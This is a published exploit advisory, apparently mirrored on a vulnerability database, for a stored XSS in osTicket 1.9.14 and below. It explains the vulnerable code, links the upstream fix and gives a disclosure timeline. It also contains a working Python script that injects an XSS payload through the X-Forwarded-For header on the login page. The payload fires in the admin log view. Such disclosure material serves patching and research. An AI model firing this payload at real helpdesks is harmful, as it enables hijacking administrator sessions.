# Exploit Title: Osticket 1.9.14 and below (X-Forwarded-For) Stored XSS.
# Date: 24-11-2016
# Exploit Author: Joaquin Ramirez Martinez [ i0-SEC ]
# Software Link: http://osticket.com/
# Vendor: Osticket
"""
==============
DESCRIPTION
==============
**osTicket** is a widely-used open source support ticket system. It seamlessly
integrates inquiries created via email, phone and web-based forms into a
simple easy-to-use multi-user web interface. Manage, organize and archive
all your support requests and responses in one place while providing your
customers with accountability and responsiveness they deserve.
(copy of Osticket - README.md)
=======================
VULNERABILITY DETAILS
=======================
file `osticket/upload/bootstrap.php` contains this
snippet of code (line 337-340):
...
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
// Take the left-most item for X-Forwarded-For
$_SERVER['REMOTE_ADDR'] = trim(array_pop(
explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));
....
The $_SERVER['REMOTE_ADDR'] value gets overrided with the `X-Forwarded-For` header value,
at this point, it is not a vulnerability but...
file `osticket/upload/include/class.osticket.php` line 309-315 :
...
//Save log based on system log level settings.
$sql='INSERT INTO '.SYSLOG_TABLE.' SET created=NOW(), updated=NOW() '
.',title='.db_input(Format::sanitize($title, true))
.',log_type='.db_input($loglevel[$level])
.',log='.db_input(Format::sanitize($message, false))
.',ip_address='.db_input($_SERVER['REMOTE_ADDR']);
db_query($sql, false);
....
Everytime when a csrf attack is dettected (checking `X_CSRFTOKEN` header or the post parameter `__CSRFToken__`),
Osticket saves into database the user controled value $_SERVER['REMOTE_ADDR'] even if it has an invalid format.
Finally the XSS is triggered when a user who can see the system logs like an administrator, visits
the /scp/logs.php URI. It happens because osticket does not encode the output of the data stored into the database.
The code responsible for lanching the XSS is located in `osticket/upload/include/staff/syslogs.inc-php`
line 142...
...
<td><?php echo $row['ip_address']; ?></td>
...
So...
An attacker can make an HTTP request with a header `X-Forwarded-For` containing the XSS payload
with an invalid CSRF token to the login interface waiting for an administrator to view the logs and trigger the XSS.
================
DEMONSTRATION
================
Demo video: https://www.youtube.com/watch?v=lx_WlL89F70
The demo also show a low severity XSS vulnerability in the helpdesk name/title of osticket.
================
REFERENCES
================
https://github.com/osTicket/osTicket/releases
https://github.com/osTicket/osTicket/releases/tag/v1.9.15
X-Forwarded-For XSS:
https://github.com/osTicket/osTicket/pull/3439
https://github.com/osTicket/osTicket/commit/4396f91cdc990b7da598a7562eb634b89314b631
heldeskt name/tile XSS:
https://github.com/osTicket/osTicket/pull/3439
https://github.com/osTicket/osTicket/commit/2fb47bd84d1905b49beab05fcf3f01b00a171c37
================
MITIGATIONS
================
update to version 1.9.15 or later
================
CREDITS
================
Vulnerability discovered by Joaquin Ramirez Martinez
https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q/videos
https://twitter.com/rammarj
================
TIMELINE
================
13-07-2016 - Vulnerability found
19-09-2016 - Osticket knew the flaws
01-11-2016 - Osticket patches vulnerabilities (v1.9.15 released)
24-11-2016 - Public disclosure.
"""
import urllib
import urllib2
from optparse import OptionParser
options = OptionParser(usage='python %prog [options]', description='Stored XSS')
options.add_option('-t', '--target', type='string', default='http://localhost', help='(required) example: http://localhost')
options.add_option('-p', '--path', type='string', default='/', help='osticket path. Default: /')
options.add_option('-x', '--payload', type='string', default='<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>'
, help='xss payload. Default: "<svg/onload=alert(/Osticket_XSSed_by_i0-sec/)>"')
banner = """
======================================================
OSTICKET
"The most popular ticketing system in the world"
Stored XSS
by i0-sec (Joaquin R. M.)
======================================================
"""
def main():
opts,args = options.parse_args()
print(banner)
server = opts.target
path = opts.path
body = urllib.urlencode({"__CSRFToken__":"invalid", "do":"scplogin", "userid":"invalid", "passwd":"invalid", "submit":""})
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded", "X-Forwarded-For": opts.payload}
url = server+path+"/scp/login.php" #default login interface URI for OSTICKET
print('[+] Connecting to '+server+path)
req = urllib2.Request(url, body, headers)
try:
print('[+] Sending payload... ')
response = urllib2.urlopen(req)
html = response.read()
except Exception, e:
pass
print '[+] Payload sent.'
print '[+] Completed.\n'
if __name__ == '__main__':
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation